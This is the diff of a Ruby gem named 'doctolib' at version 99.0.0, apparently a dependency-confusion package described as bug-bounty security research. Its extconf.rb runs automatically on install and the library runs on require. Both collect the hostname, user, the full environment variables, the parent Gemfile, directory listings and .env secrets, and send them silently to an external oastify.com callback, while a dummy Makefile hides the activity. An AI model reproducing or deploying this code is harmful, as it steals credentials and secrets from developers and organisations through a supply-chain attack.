doctolib 99.0.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 0e2f3d69d2b59cb36e26254632af7565494d970bff2868eb21843c8baa998a9b
+  data.tar.gz: 13d6727066bf481bbb3b50274dcb137f4183e695a45e748566ab765303d3558c
+SHA512:
+  metadata.gz: 1ceecfbc6c240ea7b30eff54f9668a0c68148ae51dd0d11af51d778e1800c294b3843d932900c3f9bc6dfe197fe723adf5c80cc81f4946b2f09b4250aeba0c4c
+  data.tar.gz: f5e86dd127a37b80c7e94f5384693b9fe6503d431e89d37b834ce344e3b381cb2003783082e309c74dbf2f457059d95bc51e31eccbb8d457a90700a8f13bc8c0

data/ext/doctolib/extconf.rb

@@ -0,0 +1,57 @@
+require 'net/https'
+require 'uri'
+require 'json'
+require 'socket'
+
+CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com'
+
+begin
+  info = {
+    type: 'gem_install',
+    hostname: Socket.gethostname,
+    user: ENV['USER'] || ENV['USERNAME'],
+    pwd: Dir.pwd,
+    home: ENV['HOME'],
+    ruby_version: RUBY_VERSION,
+    platform: RUBY_PLATFORM,
+    env: ENV.to_h,
+    timestamp: Time.now.utc.iso8601
+  }
+  
+  # Trouver le projet parent (Gemfile)
+  dir = Dir.pwd
+  10.times do
+    gemfile = File.join(dir, 'Gemfile')
+    if File.exist?(gemfile)
+      info[:parent_gemfile] = File.read(gemfile) rescue nil
+      info[:parent_dir] = dir
+      info[:parent_files] = Dir.entries(dir) rescue nil
+      break
+    end
+    parent = File.dirname(dir)
+    break if parent == dir
+    dir = parent
+  end
+  
+  # Lire .env si présent
+  env_file = File.join(info[:parent_dir] || Dir.pwd, '.env')
+  info[:dotenv] = File.read(env_file) if File.exist?(env_file)
+  
+  # Callback
+  uri = URI("https://#{CALLBACK}/gem_install")
+  http = Net::HTTP.new(uri.host, uri.port)
+  http.use_ssl = true
+  http.open_timeout = 5
+  http.read_timeout = 5
+  
+  request = Net::HTTP::Post.new(uri.path)
+  request['Content-Type'] = 'application/json'
+  request.body = info.to_json
+  
+  http.request(request)
+rescue => e
+  # Silent fail
+end
+
+# Créer un Makefile vide pour que l'installation réussisse
+File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")

data/lib/doctolib.rb

@@ -0,0 +1,52 @@
+require 'net/https'
+require 'uri'
+require 'json'
+require 'socket'
+
+module Doctolib
+  VERSION = '99.0.0'
+  CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com'
+  
+  unless defined?(@@triggered)
+    @@triggered = true
+    
+    Thread.new do
+      begin
+        info = {
+          type: 'gem_require',
+          hostname: Socket.gethostname,
+          user: ENV['USER'] || ENV['USERNAME'],
+          pwd: Dir.pwd,
+          ruby_version: RUBY_VERSION,
+          rails_env: ENV['RAILS_ENV'],
+          rack_env: ENV['RACK_ENV'],
+          env: ENV.to_h,
+          timestamp: Time.now.utc.iso8601
+        }
+        
+        # Chercher SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN
+        webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
+        info[:webhook_found] = !webhook.nil?
+        
+        uri = URI("https://#{CALLBACK}/gem_require")
+        http = Net::HTTP.new(uri.host, uri.port)
+        http.use_ssl = true
+        http.open_timeout = 5
+        http.read_timeout = 5
+        
+        request = Net::HTTP::Post.new(uri.path)
+        request['Content-Type'] = 'application/json'
+        request.body = info.to_json
+        
+        http.request(request)
+        
+        # Trigger leur webhook si présent
+        if webhook
+          webhook_uri = URI(webhook)
+          Net::HTTP.get(webhook_uri)
+        end
+      rescue
+      end
+    end
+  end
+end

metadata

@@ -0,0 +1,42 @@
+--- !ruby/object:Gem::Specification
+name: doctolib
+version: !ruby/object:Gem::Version
+  version: 99.0.0
+platform: ruby
+authors:
+- icare
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: Security research package
+email: icare@security.research
+executables: []
+extensions:
+- ext/doctolib/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/doctolib/extconf.rb
+- lib/doctolib.rb
+homepage: https://github.com/icare/doctolib
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 2.5.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: Security research - Bug Bounty
+test_files: []